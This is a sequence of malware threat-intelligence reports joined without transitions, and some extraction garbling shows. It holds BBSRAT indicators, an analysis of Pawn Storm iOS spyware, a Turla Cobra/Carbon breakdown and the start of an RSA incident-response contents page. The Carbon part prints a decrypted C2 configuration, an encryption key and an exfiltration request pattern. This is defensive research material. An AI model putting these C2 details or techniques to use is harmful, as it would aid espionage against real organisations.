Compile N/A Time Network HTTP Protocol 211.44.42[.]55 Server(s) 0EA888E970345B2FBFD74B369FE46DDD SHA1 EB4F9BDE2FFAE863E0D7AD5848A758D59224C3F7 SHA256 56D878EDD61176CA30D4A41555671161158E94E8A50E5482985F42C4E4843CB5 Compile 2015 25 09:33:57 UTC Time Network HTTPS Protocol crew[.]wichedgecrew[.]com Server(s) blueway[.]garmio drive[.]com helloway[.]floretdog[.]com FA944818A939456A7B6170326C49569F SHA1 0EB3AE28A7A7D97ABA30DA4E8EB0A4AB36EFD035 SHA256 22592A32B1193587A707D8B20C04D966FE61B37F7DEF7613D9BB91FF2FE9B13B Compile 2015 25 09:33:57 UTC Time http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 8/12 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog Network HTTPS Protocol panaba[.]empleoy plan[.]com Server(s) kop[.]gupdiic[.]com peak[.]measurepeak[.]com 896691AE546F498404F5884607D6EB50 SHA1 91A176EB5B2436762B9898075EC66042E33615A3 SHA256 13D0BD83A023712B54C1DD391DFC1BC27B22D9DF4FE3942E2967EC82D7C95640 Compile N/A Time Network HTTP Protocol 211.44.42[.]55 Server(s) A78B9438117963A9A18B2F056888498B SHA1 98E79C065DB88B4686AB5B7C36C4524333D64C48 SHA256 E049BD90028A56B286F4B0B9062A8DF2AB2DDF492764E3962F295E9CE33660E3 Compile 2014 26 17:17:00 UTC Time Network HTTP Protocol 211.44.42[.]55 Server(s) support.yandexmailru[.]kr B4927EAC9715014E17C53841FEEDF4E1 SHA1 26E8CFD13175B67C12FC72A11FBDBC749F0B61C0 SHA256 2D81D65D09BF1B864D8964627E13515CEE7DEDDFBD0DC70B1E67F123AB91421E Compile 2014 26 17:17:00 UTC Time Network HTTPS Protocol kop[.]gupdiic[.]com Server(s) panaba[.]empleoy plan[.]com peak[.]measurepeak[.]com 41A02CAF0A0D32FAD5418425F9973616 SHA1 CC83EA6EF4763F24193D56359590BB34127DD36E SHA256 7438ED5F0FBE4B26AFED2FE0E4E4531FC129A44D8EA416F12A77D0C0CD873520 Compile 2015 25 09:33:57 UTC Time Network HTTPS Protocol herman[.]eergh[.]com Server(s) prdaio[.]unbrtel[.]com loomon[.]gupdicc[.]com AA59EE1E40D22BD22CEE19B8B6A17DF3 SHA1 963E0AD3EC717253A8E74F45D3C552107D6ECACA SHA256 6FAE5305907CE99F9AB51E720232EF5ACF1950826DB520A847BF8892DC9578DE Compile 2014 26 17:17:00 UTC Time Network HTTPS Protocol winwordupdate[.]dynu[.]com Server(s) B934BF027EC3A9DFCAE9D836D68BAB75 SHA1 E9744516E621B233C44F5854C0DF63FFDD62FB81 SHA256 0BAF36CA2D3772FDFF989E2B7E762829D30DB132757340725BB50DEE3B51850C Compile 2014 26 17:17:00 UTC Time Network HTTPS Protocol http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 9/12 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog transactiona[.]com Server(s) financenewsru[.]net 7533E65A16B4B3BA451A141F389D3A30 SHA1 CB46E6234DA0A9C859C1F71FFEB86100284A0142 SHA256 D579255852720D794349AE2238F084C6393419AF38479F3D0E3D2A21C9EB8E18 Compile 2014 26 17:17:00 UTC Time Network HTTPS Protocol winwordupdate[.]dynu[.]com Server(s) adobeflashupdate1[.]strangled[.]net 8CD233D3F226CB1BF6BF15ACA52E0E36 SHA1 B955CA4AA8F7181C2252C4699718F6FEFC0B9CE3 SHA256 95F198ED29CF3F7D4DDD7CF688BFEC9E39D92B78C0A1FD2288E13A92459BDB35 Compile 2015 22 06:16:44 UTC Time Network HTTP Protocol www[.]testzake[.]com Server(s) PowerSploit Downloader 0AA391DC6D9EBEC2F5D0EE6B4A4BA1FA SHA1 D238C157F87204D03C9005AF9A9CBC28C108E50A SHA256 71DC584564B726ED2E6B1423785037BFB178184419F3C878E02C7DA8BA87C64D Compile 2015 21 11:59:18 UTC Time Network HTTP Protocol www[.]testzake[.]com Server(s) IOCs Hashes 61a692e615e31b97b47a215479e6347fbd8e6e33d7c9d044766b4c1d1ae1b1fb 22592a32b1193587a707d8b20c04d966fe61b37f7def7613d9bb91ff2fe9b13b 2d81d65d09bf1b864d8964627e13515cee7deddfbd0dc70b1e67f123ab91421e d579255852720d794349ae2238f084c6393419af38479f3d0e3d2a21c9eb8e18 0fc52c74dd54a97459e964b340d694d8433a3229f61e1c305477f8c56c538f27 567a5b54d6c153cdd2ddd2b084f1f66fc87587dd691cd2ba8e30d689328a673f 95f198ed29cf3f7d4ddd7cf688bfec9e39d92b78c0a1fd2288e13a92459bdb35 6fae5305907ce99f9ab51e720232ef5acf1950826db520a847bf8892dc9578de b1737f3a1c50cb39cd9938d5ec3b4a6a10b711f17e917886481c38967b93e259 71dc584564b726ed2e6b1423785037bfb178184419f3c878e02c7da8ba87c64d 4ea23449786b655c495edf258293ac446f2216464b3d1bccb314ef4c61861101 0baf36ca2d3772fdff989e2b7e762829d30db132757340725bb50dee3b51850c 012ec51657d8724338a76574a39db4849579050f02c0103d46d406079afa1e8b e049bd90028a56b286f4b0b9062a8df2ab2ddf492764e3962f295e9ce33660e3 77a2e26097285a794e42c9e813d14936d0e7a1dd3504205dd6b28a71626f8c3c 5aa7db3344aa76211bbda3eaaccf1fc1b2e76df97ff9c30e7509701a389bd397 fc4b465ee8d2053e9e41fb0a6ae32843e4e23145845967a069e584f582279725 44171afafca54129b89a0026006eca03d5307d79a301e4a8a712f796a3fdec6e 7438ed5f0fbe4b26afed2fe0e4e4531fc129a44d8ea416f12a77d0c0cd873520 13d0bd83a023712b54c1dd391dfc1bc27b22d9df4fe3942e2967ec82d7c95640 Domains adobeflashupdate.dynu[.]com adobeflashupdate1.strangled[.]net cdaklle.housejjk[.]com futuresgolda[.]com herman.eergh[.]com jowwln.cocolco[.]com kop.gupdiic[.]com loomon.gupdiicc[.]com pagbine.ofhloe[.]com panaba.empleoy plan[.]com http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 10/12 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog peak.measurepeak[.]com prdaio.unbrtel[.]com support.yandexmailru[.]kr systemupdate5.dtdns[.]net testzake[.]com transactiona[.]com wap.gxqtc[.]com wap.hbwla[.]com wap.kylxt[.]com windowsupdate.dyn[.]nu winwordupdate.dynu[.]com www.testzake[.]com www.yunw[.]top 7 Pingbacks & Trackbacks December 23, 2015 5:04 PM 2015 | Threat Intelligence Force December 23, 2015 10:13 PM Hackers are targeting Russian organizations for espionageSecurity Affairs December 23, 2015 10:28 PM Roaming Tiger Hackers targets Russian organizationsSecurity Affairs December 23, 2015 10:35 PM Fortifying Networks Hackers are targeting Russian organizations for espionage December 24, 2015 2:31 AM Roaming Tiger Hackers targets Russian organizations for espionage | OSINFO December 24, 2015 9:28 PM BBSRAT | Around Cyber December 25, 2015 7:23 AM Roaming Tiger Hackers targets Russian organizations for espionage | Tailor Technology Post Your Comment Name * Email * Website Post Comment Home Government Partners Unit 42 Threat Intelligence Technical Documentation Advanced Endpoint Protection Get Updates http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 11/12 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog Sign up to receive the latest news, cyber threat intelligence and research from Unit 42. Business Email Submit Subscribe to the Research Center Blog Categories & Archives Select a Category More Select a Month Recent Posts Palo Alto Networks News of the Week April 2 posted by Anna Lough on April 2, 2016 t Be an April Fool: Inside a Common Phone Scam posted by Robert Falcone on April 1, 2016 Channel Scoop April 1, 2016 posted by Lang Tibbils on April 1, 2016 How the EITest Campaign's Path to Angler EK Evolved Over Time posted by Brad Duncan on March 31, 2016 Top 5 Things to Know Before You Go to Ignite Conference 2016 posted by Catherine Crandall on March 31, 2016 More About Palo Alto Networks Palo Alto Networks is the network security company. Our innovative platform allows enterprises, service providers, and government entities to secure their networks and safely enable the increasingly complex and rapidly growing number of applications running on their networks. The core of Palo Alto Networks' platform is our next generation firewall, which delivers application, user, and content visibility and control integrated within the firewall through its proprietary hardware and software architecture. Palo Alto Networks products and services can address a broad range of network security requirements, from the datacenter to the network perimeter, as well as the distributed enterprise, which includes branch offices and a growing number of mobile devices. FOLLOW US Facebook Twitter Linked In You Tube Learn More Firewalls Malware Intrusion Prevention System Intrusion Detection System Denial of Service Attack Security Policy Network Security Data Center 1.866.320.4788 Privacy Policy Legal Notices Site Index Subscriptions Copyright 2007 2013 Palo Alto Networks http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 12/12 Pawn Storm Update: iOS Espionage App Found In our continued research on Operation Pawn Storm, we found one interesting poisoned pawn spyware specifically designed for espionage on iOS devices. While spyware targeting Apple users is highly notable by itself, this particular spyware is also involved in a targeted attack. Background of Operation Pawn Storm Operation Pawn Storm is an active economic and political cyber-espionage operation that targets a wide range of entities, like the military, governments, defense industries, and the media. The actors of Pawn Storm tend to first move a lot of pawns in the hopes they come close to their actual, high profile targets. When they finally successfully infect a high profile target, they might decide to move their next pawn forward: advanced espionage malware. The iOS malware we found is among those advanced malware. We believe the iOS malware gets installed on already compromised systems, and it is very similar to next stage SEDNIT malware we have found for Microsoft Windows systems. We found two malicious iOS applications in Operation Pawn Storm. One is called XAgent (detected as IOS_XAGENT.A) and the other one uses the name of a legitimate iOS game, MadCap (detected as IOS_ XAGENT.B). After analysis, we concluded that both are applications related to SEDNIT. The obvious goal of the SEDNIT-related spyware is to steal personal data, record audio, make screenshots, and send them to a remote command-and-control (C&C) server. As of this publishing, the C&C server contacted by the iOS malware is live. Analysis of XAgent The XAgent app is fully functional malware. After being installed on iOS 7, the app s icon is hidden and it runs in the background immediately. When we try to terminate it by killing the process, it will restart almost immediately. Installing the malware into an iOS 8 device yields different results. The icon is not hidden and it also cannot restart automatically. This suggests that the malware was designed prior to the release of iOS 8 last September 2014. Data Theft Capabilities The app is designed to collect all kind of information on an iOS device. It is able to perform the following routines: Collect text messages Get contact lists Get pictures Collect geo-location data Start voice recording Get a list of installed apps Get a list of processes Get the Wi-Fi status Figure 1. XAgent code structure C&C Communication Besides collecting information from the iOS device, the app sends the information out via HTTP. It uses POST request to send messages, and GET request to receive commands. Formatted Log Messages The malware s log messages are written in HTML and color coded, making it easier for human operators to read. Error messages tend to be in red, while others are in green as shown in the figure below. Figure 2. Color-coded HTML log messages A Well-Designed Code Structure We can see that the code structure of the malware is very organized. The malware looks carefully maintained and consistently updated. Figure 3. XAgent code structure The app uses the commands watch, search, find, results, open, and close. Figure 4. List of base URIs Randomly Generated URI The full uniform resource identifier (URI) for C&C HTTP requests is randomly generated, according to a template agreed upon with the C&C server. The base URI can be seen in Figure 4, and parameters are chosen from the list below and appended to the base URI. Figure 5. List of parameters used with URIs Here are corresponding implementations we got during our reversing: Figures 6 and 7. Code for URI generation Token Format and Encoding The malware uses a token to identify which module is communicating. The token is Base64 encoded data, but padded with a 5-byte random prefix so that it looks like valid Base64 data. See the first line part in the figure below. Figure 8. Client (XAgent) request Reverse engineering also revealed additional communication functions. Figure 9. HTTP communication functions Figure 10. C2 server FTP Communication The app is also able to upload files via FTP protocol. Figure 11. FTP communication functions Analysis of MadCap Madcap is similar to the XAgent malware, but the former is focused on recording audio. Madcap can only be installed on jailbroken devices. Figure 12. Code structure of Madcap Possible Infection Methods The exact methods of installing these malware is unknown. However, we do know that the iOS device doesn t have to be jailbroken per se. We have seen one instance wherein a lure involving XAgent simply says Tap Here to Install the Application. The app uses Apple s ad hoc provisioning, which is a standard distribution method of Apple for iOS App developers. Through ad hoc provisioning, the malware can be installed simply by clicking on a link, such as in the picture below. The link will lead to https://www. {BLOCKED}/adhoc/XAgent.plist, a service that installs applications wirelessly. Figure 13. Site used in downloading XAgent There may be other methods of infection that are used to install this particular malware. One possible scenario is infecting an iPhone after connecting it to a compromised or infected Windows laptop via a USB cable. To learn more about this campaign, you may refer to our report, Operation Pawn Storm Using Decoys to Evade Detection. The hashes of the related files are: 05298a48e4ca6d9778b32259c8ae74527be33815 176e92e7cfc0e57be83e901c36ba17b255ba0b1b 30e4decd68808cb607c2aba4aa69fb5fdb598c64 Special thanks to Loucif Kharouni and Fernando Merces for additional insights. Analysis of Project Cobra Project Cobra and the Carbon System were mentioned by Kaspersky in the article called The Epic Turla Operation . This malware is used by the same actors as Uroburos (aka Snake/Turla) and Agent.BTZ. We estimate that Carbon System was developed after Agent.BTZ and before Uroburos. The Carbon System shares some technical details with Uroburos and Agent.BTZ (encryption key, encryption algorithm, design, ) and some other links, such as the name of the snake-related project: Cobra. Uroburos could be considered as a kernel centric snake and Cobra Carbon System as a userland centric snake One specification of the group behind this threat is the fact that when they developed new tools, the old ones are not destroyed or abandoned but still maintained and used. Thanks to our collection of samples we are able to draw the following timeline: The Cobra can be considered as an extensible framework. This framework is generally downloaded and dropped by a reconnaissance malware for example Tavdig, aka Wipbot (Symantec) or also Epic Backdoor (Kaspersky). The following schema illustrates the modus opandi used by the Uroburos actors: Using IOC (Indicators of Compromise) to detect this malware is quite complicated, because the malware authors made efforts to randomize many factors. For example, the attackers drop the malware into different directories, using the files present, also chosen randomly, to store the malware configuration. Due to these characteristics, the experts of the G DATA SecurityLabs decided to publish an analysis of the framework dropped by the file with the md5: cb1b68d9971c2353c2d6a8119c49b51f. G DATA security solutions detect this file as Backdoor.TurlaCarbon.A (Engine A) and Win32.Trojan.Cobra.B (Engine B). We can find the compilation path in a file embedded in the dropper:f:\Workshop\Projects\cobra\carbon_system\x64\Release\carbon_system.pdb Looking at this, we can easily identify that Carbon System is a part of the Cobra project. Dropper The dropper is used to install four files on the infected system. The dropped files are stored in the resources of the binary. The dropper has the 32-bit and the 64-bit version of the executable files embedded. It installs the following files: miniport.dat: configuration file; stage 1: the file name is randomly chosen from ipvpn.dll,srsvc.dll or kmsvc.dll. This library is registered as a service; stage 2: the file name is msimghlp.dll. It s the orchestrator of the malware (called system by the author); stage 3: the file name is msximl.dll. This library (called user by the authors) is injected in the browsers and the email clients in order to communicate to the outside via web requests. The persistence is performed by the creation of a service (HKLM\SYSTEM\CurrentControlSet\Service\). The service name depends on the chosen stage 1 file name: File Name Service Name Display Name Description (Copy&Paste from the binary) ipvpn.dll ipvpn Virtual Private Network Routing Service srsvc.dll srservice System Restore Service Performs system restore functions. To stop service, turn off System Restore from the System Restore tab in My Computer. hkmsvc Health Key Certificate Management Service Provides X.509 certificate and key management services for the Network Access Protection Agent (NAPAgent). Enforcement technologies that use X.509 certificates may not function properly without this service kmsvc.dll Provides enchanced network management while active VPN connection established. Support All necessary functions and maintain dynamic table rules. Enforcement technologies that use virtual networks may not function properly without this service The descriptions reveal spelling mistakes and the sentence structure may indicate that the texts have been written by non-native speakers. Stage 1 is always installed in %SystemRoot%\system32\ To install something into %SystemRoot%, the attackers have to have gained administration privileges before they executed the dropper. The three other dropped files are stored in an existing directory in %ProgramFiles%, randomly chosen. During the installation, executed in a command line, the dropper displays the following information: The screenshot shows the string LUCKY STRIKE!!! , displayed in case the installation was carried out successfully and Idioten??? in case of any installation error. To be able to find the random installation path, the dropper modifies a legitimate .inf file (also chosen randomly) in %SystemRoot%\inf\ to add the following information to the end of the file: [B8744A58]root=C:\Program Files\Windows NT\Accessoiries\en-US The ID between the brackets is a unique ID and the root variable contains the path in which the three additional files are installed. The tricks put in place by the authors random file names and random installation paths are used to limit the detection possible with Indicators of Compromise. Generally, security researchers use these kinds of artifacts in order to detect the compromise of systems. Stage 1: loader MD5: 43e896ede6fe025ee90f7f27c6d376a4G DATA security solutions detect this as Backdoor.TurlaCarbon.A (Engine A) and Win32.Trojan.Cobra.A (Engine B). The first stage is rather small as the number of instructions and actions is rather small. Simply spoken, its purpose is to load the second stage. To perform this task, the first stage checks all of the files in %SystemRoot%\inf\ in order to find the entry with the unique ID previously mentioned and therefore to determine the path for stage 2. After that, the library of the second stage is loaded and, subsequently, the exported function ModuleStart() is executed: Stage 2: the orchestrator Md5: e6d1dcc6c2601e592f2b03f35b06fa8f Version: 3.71 G DATA security solutions detect this threat as Backdoor.TurlaCarbon.A (Engine A) and Win32.Trojan.Cobra.B (Engine B). The second stage is called system by the authors of the malware. The internal name of the library is carbon_system.dll. The purpose of this code is to stay in background and orchestrate several requests and tasks made by the other .dlls or named pipe connections. Mutex creation The orchestrator creates several mutexes. These mutexes are used for two reasons: used by the third stage in order to detect whether the orchestrator has been launched correctly on the infected system; used to execute the orchestrator only once. Here are the created mutexes: Global\MSCTF.Shared.MUTEX.zRX Global\DBWindowsBase Global\IEFrame.LockDefaultBrowser Global\WinSta0_DesktopSessionMut Global\{5FA3BC02-920F-D42A-68BC-04F2A75BE158} Global\SENS.LockStarterCacheResource Global\ShimSharedMemoryLock Working files and directories Here are the working files and directories used by the orchestrator. The orchestrator creates one single random path and then stores all necessary folders mentioned under this one randomly generated path: %randompath%\Nls\: directory related to the tasks to be executed %randompath%\0208\: directory related to the temporary files %randompath%\System\: directory related to the additional plugins %randompath%\System\bootmisc.sdi: seems not to be used %randompath%\0208\C_56743.NLS: files related to the tasks to be executed and the plugins %randompath%\Nls\b9s3coff.ax: files related to the tasks to be executed and the named pipe %randompath%\Nls\a67ncodc.ax: file related to the tasks to be executed %randompath%\vndkrmn.dic: log file %randompath%\qavsrc.dat: log file %randompath%\miniport.dat: configuration file %randompath%\asmcerts.rs: purpose currently unknown %randompath%\getcert.rs: purpose currently unknown The files are not automatically created during the startup of the malware. The files are created only if the orchestrator needs them. Configuration file The configuration file (miniport.dat) is used by the second and the third stage. The file is encrypted with the CAST-128 algorithm, the same algorithm that has been used by Uroburos to encrypt the file systems. The encryption key is: { 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0xfe, 0xfc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10 } Note: following the logic, 0xfc would be expected to be 0xdc. Here is an example of the configuration file: paul@gdata:~/Carbon/$ ./decrypt.py miniport.dat [NAME] object_id=acce6511-ba11-fa11-f0047d1 iproc = iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe ex = #,netscape.exe,mozilla.exe,adobeupdater.exe,chrome.exe [TIME] user_winmin = 1800000 user_winmax = 3600000 sys_winmin = 3600000 sys_winmax = 3700000 task_min = 20000 task_max = 30000 checkmin = 60000 checkmax = 70000 logmin = 60000 logmax = 120000 lastconnect=1419925298 timestop= active_con = 900000 time2task=3600000 check_lastconnect=1419925298 [CW_LOCAL] quantity = 0 [CW_INET] quantity = 4 address1 = soheylistore.ir:80:/modules/mod_feed/feed.php address2 = tazohor.com:80:/wp-includes/feed-rss-comments.php address3 = jucheafrica.com:80:/wp-includes/class-wp-edit.php address4 = 61paris.fr:80:/wp-includes/ms-set.php [CW_INET_RESULTS] quantity = 4 address1 = soheylistore.ir:80:/modules/mod_feed/feed.php address2 = tazohor.com:80:/wp-includes/feed-rss-comments.php address3 = jucheafrica.com:80:/wp-includes/class-wp-edit.php address4 = 61paris.fr:80:/wp-includes/ms-set.php [TRANSPORT] system_pipe = comnap spstatus = yes adaptable = no [DHCP] server = 135 [LOG] logperiod = 7200 lastsend=1419924312 [WORKDATA] run_task= run_task_system= [VERSION] System=3/71 User=3/62 The websites listed in [CW_INET] and [CW_INET_RESULTS] are all compromised legitimate WordPress websites. By the time of writing this article, all websites have been cleaned and patched. The file format is the same as the .ini file format from Windows. The authors use the Windows API to parse the configuration (GetPrivateProfileStringA()).The file contains: A unique ID to identify the infected machine (object_id); The command and control server used by stage 3 (addressX); The version of the system and the user library (in [VERSION]); The frequency and time of execution of several internal tasks ([TIME]); The name of the named pipe used as communication channel between the system and the user (system_pipe); The process name where stage 3 will be injected (iproc); Communication via named pipes The orchestrator creates two named pipes in order to communicate with stage 3 or to receive messages from an external machine: \\.\\pipe\sdlrpc \\.\\pipe\comnap (the name in the configuration file) Features The orchestrator creates nine threads in order to handle the different features. We will now have a look at the most interesting threads. One thread is used to check if the parameters in the configuration file have changed. A second thread is used to check the available hard disk space. If the HDD space is low, the orchestrator generates an entry in the log file: The preceding screenshot reveals a rather interesting use of English, again. From what we can conclude, we believe Survive me is supposed to mean something like Rescue me in the sense of help me to survive A third thread is created in order to handle the tasks. A task is a command sent from the C&C that is to be executed. The code to be executed is stored locally on the infected machine. The orchestrator is able to execute libraries (by executing the export start()) or to execute Windows command line. The command line can be execute with the current user privilege or with the privilege of another user (via CreateProcessA() or CreateProcessAsUserA()): A fourth thread is used to handle the log rotation file (vndkrmn.dic). A fifth thread is used to create and read the data sent to the named pipes. A sixth thread is used to load plugins. For the orchestrator a module is a library file with a specific export called ModuleStart(). The plugin list is stored in the configuration file ([PLUGINS]). This thread is very similar to the third thread, but is bares some minor differences. The function to execute the plugins is not the same. Finally a seventh thread is used to inject stage 3 (msximl.dll) into the browsers and email clients. The list of the targeted processes is stored in the configuration file: iproc = iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe As usual, the injected library is executed via the ModuleStart() exports. Log file The orchestrator and stage 3 generate a shared log file. The file is encrypted with the same algorithm and the same key as the configuration file. Here is an example of the content: paul@gdata:~/Carbon$ ./decrypt.py infected/vndkrmn.dic [LOG] start=1 30/12/14|08:28:44|acce6511-ba11-fa11-f0047d1|s|ST|3/71|0| 30/12/14|08:29:50|acce6511-ba11-fa11-f0047d1|s|INJ|C:\Program Files\Windows Mail\enUS\msximl.dll| 30/12/14|08:30:28|acce6511-ba11-fa11-f0047d1|s|INJ|0|2204| 30/12/14|08:30:28|acce6511-ba11-fa11-f0047d1|u|ST|3/62|"C:\Program Files\Internet Explorer\iexplore.exe" :2204| 30/12/14|08:30:28|acce6511-ba11-fa11-f0047d1|u|ST|2204:END| 30/12/14|08:30:39|acce6511-ba11-fa11-f0047d1|u|W|-1|0|ALL|NOINET| 30/12/14|08:30:41|acce6511-ba11-fa11-f0047d1|u|W|-1|0|ALL|NOINET| 30/12/14|08:37:18|acce6511-ba11-fa11-f0047d1|s|STOP|3/71|0| 30/12/14|08:37:18|acce6511-ba11-fa11-f0047d1|s|STOP|OK| 30/12/14|08:39:45|acce6511-ba11-fa11-f0047d1|s|ST|3/71|0| 30/12/14|08:41:13|acce6511-ba11-fa11-f0047d1|s|INJ|C:\Program Files\Windows Mail\enUS\msximl.dll| 30/12/14|08:41:34|acce6511-ba11-fa11-f0047d1|s|INJ|0|2196| 30/12/14|08:41:34|acce6511-ba11-fa11-f0047d1|u|ST|3/62|"C:\Program Files\Internet Explorer\iexplore.exe" :2196| 30/12/14|08:41:34|acce6511-ba11-fa11-f0047d1|u|ST|2196:END| 30/12/14|08:41:35|acce6511-ba11-fa11-f0047d1|u|OPER|Wrong config: no lastconnect| 30/12/14|08:41:36|acce6511-ba11-fa11-f0047d1|u|P|0|NULL|0|Sleep:41| 30/12/14|08:41:38|acce6511-ba11-fa11-f0047d1|u|OPER|Wrong config: no lastconnect| 30/12/14|08:41:39|acce6511-ba11-fa11-f0047d1|u|W|-1|0|tazohor.com:/|nrt| 30/12/14|08:41:40|acce6511-ba11-fa11-f0047d1|u|W|-1|0|61paris.fr:/|nrt| 30/12/14|08:41:40|acce6511-ba11-fa11-f0047d1|u|W|0|NULL|0|Sleep:1816467| 30/12/14|08:41:40|acce6511-ba11-fa11-f0047d1|u|P|0|NULL|0|Sleep:604 The log format is:Date|Time|Unique ID|source|message The source can be: S: stands for the orchestrator (or System U: stands for the injected library (or User The format of the message is not always the same. However, the first part is the executed feature: ST: start (either for the orchestrator or the injected library); the second part of the message is the version (for example 3.71 for the orchestrator and 3.62 for the injected library) and, regarding the injected library, the name of the host process; STOP: stop; OPER: message for the operator (for example when the disk space is low); W: web requests; INJ: injection; the second part of the message is the path of the file (lib) used to be injected into e.g. the browser or the PID; L: load library log message; S: log rotation message; T: message linked to the task execution; Stage 3: the injected library Md5: 554450c1ecb925693fedbb9e56702646 Version: 3.62 This threat is detected by G DATA security solutions as Backdoor.TurlaCarbon.A (Engine A) and Win32.Trojan.Cobra.B (Engine B). Stage 3 is called user by the authors. The internal name of the library is CARBON.dll.The purpose of this stage is to communicate to the outside via web requests. The communication is used to ex-filtrate data and to receive orders (or plugins or code to execute). Mutex check The first task of stage 3 is to check whether the mutexes created by the orchestrator are available or not, to make sure the orchestrator has started correctly: Check of the Internet connection Before communicating with the command and control server, stage 3 checks whether an Internet connection is available by contacting: www.google.com www.yahoo.com www.bing.com update.microsoft.com windowsupdate.microsoft.com microsoft.com In case the connection does not work, the following message is written into the log file:|u|W|-1|0|ALL|NOINET| Communication to the command & controls The communication to the operators is performed via the URL stored in the configuration file. Firstly, the malware performs a GET request in order to identify whether the C&C is up and running. If the first query is a success, a second request is sent to the C&C with the difference that some data is included into an HTTP Cookie. The content of the cookie is catid, task, id, forumid, itemid, link, layout, start, limit (none of the parameters is mandatory). The data sent in this cookie is encrypted, using the CAST-128 algorithm, and encoded. The malware can also generate POST requests. Here is an example of the pattern:POST hxxp://%s/%s? uid=%d&context=%s&mode=text&data=%s The malware uses the same technique as Tavdig does to receive orders. The data can be seen between the
and the
field in the following screenshot: Additional features Stage 3 is able to execute tasks, exactly as the orchestrator is. The code concerning the features is exactly the same as the code the orchestrator uses. We assume that this is the case due to copy & paste. The user is able to execute libraries (by executing the export start()) and to execute Windows command line. The command line can be executed with the current user privilege or with the privilege of another user (via CreateProcessA() or CreateProcessAsUserA()). Conclusion This analysis shows us that the actors behind Uroburos, Agent.BTZ and the Carbon System are skilled and still active. This sample we analyzed demonstrates how the authors tried to complicate the detection and the use of Indicators of Compromise. Summarized, some of the tricks we have encountered: use of random service names; us of random file names; use of random installation directory names; configuration of the named pipe name; Carbon System is a real extensible framework with a plugin management. As these plugins are provided by the contacted C&C servers, it can be anything nothing has to be pre-bundled. Due to the nature of the malware attacks, we can imagine those plugins to be anything connected to cyber espionage, from keyloggers to credentials stealers, eavesdropping mechanisms and much more. An attacked enterprise or organization would be an open book for the attackers. The architecture is complex, with an orchestrator and a library injected into the browsers and email clients processes. Obviously, this approach resembles what we have seen looking at Uroburos. The framework could be considered as a draft but still very powerful version (in user-land only) of Uroburos. We believe that Uroburos is the product of the Cobra malware evolution. Although Uroburos is a new branch, not a linear follow-up. Looking at the whole picture that we can draw until now, we can say that everything regarding this whole campaign is highly professional. We have analyzed various samples and have drawn many conclusions. Even though there are still many open questions that need to be answered, we come closer to charming the snakes The Cobra, the venomous animal with the deadly bite, and Uroburos, the self-sustaining creepy mixture of a snake and a dragon. This kind of herpetology became quite interesting and we are thrilled to find out more about the campaigns. Incident Response incident response RSA Incident Response: An APT Case Study RSA Security 8 April 2015 Incident Response Case Study Table Contents Executive Summary ............................................................................................................................................ Security Analytics ECAT Deployment .................................................................................................. Analysis Methodology ........................................................................................................................................ Case Study Technical Details ........................................................................................................................... Initial Consultation .......................................................................................................................................................... Incident Response ............................................................................................................................................................ 4.2.1 ECAT Analysis System XX13 ................................................................................................................................................ 4.2.2 ECAT Analysis System XXDEV3 .......................................................................................................................................... 4.2.3 ECAT Analysis Trojan.FF- ............................................................................................................................................. 4.2.4 ECAT Analysis System XXXXNAPP02 ............................................................................................................................... 4.2.5 ECAT Analysis Recycler folder ............................................................................................................................................ 4.2.6 ECAT Analysis System XXME ............................................................................................................................................... 4.2.7 ECAT Analysis System XX22 ................................................................................................................................................ 4.2.8 ECAT Analysis Hunting with InstantIOCs. ..................................................................................................................... Analysis Trojan.Lurker ...................................................................................................................................... Parallel Detection with Security Analytics ........................................................................................................... Trojan Families .................................................................................................................................................. Trojan.Lurker ................................................................................................................................................................. Trojan.SurperhardCorp .............................................................................................................................................. Trojan.Derusbi ............................................................................................................................................................... Trojan.HiKiT ................................................................................................................................................................... Trojan.FF- ................................................................................................................................................................ Trojan.PlugX ................................................................................................................................................................... Trojan.Gh0st ................................................................................................................................................................... Trojan.PoisonIvy ........................................................................................................................................................... Conclusion ........................................................................................................................................................... Appendix ............................................................................................................................................................ Table beacon detection rules ......................................................................................................................................................... Table Trojan.Lurker files details channels ................................................................................................................................ Table Trojan.SuperhardCorp file details channels ................................................................................................................... Table Trojan.Derusbi file details channels ............................................................................................................................. Table Trojan.Hikit file details channels .................................................................................................................................. Table Trojan.FF- file details ......................................................................................................................................................... Table Trojan.FF- file details ......................................................................................................................................................... Table Trojan.FF- file details ......................................................................................................................................................... Table Trojan.FF- file details ....................................................................................................................................................... Table Trojan.FF- file details ....................................................................................................................................................... Table Trojan.PlugX file details channels .............................................................................................................................. Table Digitally Signed Trojan.Gh0st file details ................................................................................................................................. Table Unsigned Trojan.Gh0st file details ........................................................................................................................................... Table Trojan.PoisonIvy file details ................................................................................................................................................... Incident Response Case Study Incident Response Page Figure traditional analysis comparison ...................................................................................................................................... Figure Network diagram with capture points ........................................................................................................................................ Figure Competencies ........................................................................................................................................................................ Figure ShimCache results from memory analysis .................................................................................................................................. Figure ECAT File Properties Window ................................................................................................................................................... Figure ECAT Viewer Trojan.Hikit ................................................................................................................................................ Figure Obfuscated deobfuscated Trojan.Hikit config file ............................................................................................................. Figure Yara signature Trojan.Hikit .................................................................................................................................................. Figure Yara Trojan.Hikit ............................................................................................................................................................. Figure ECAT time analysis Trojan.Hikit .................................................................................................................................... Figure ECAT analysis At#.job files ............................................................................................................................................ Figure ECAT time 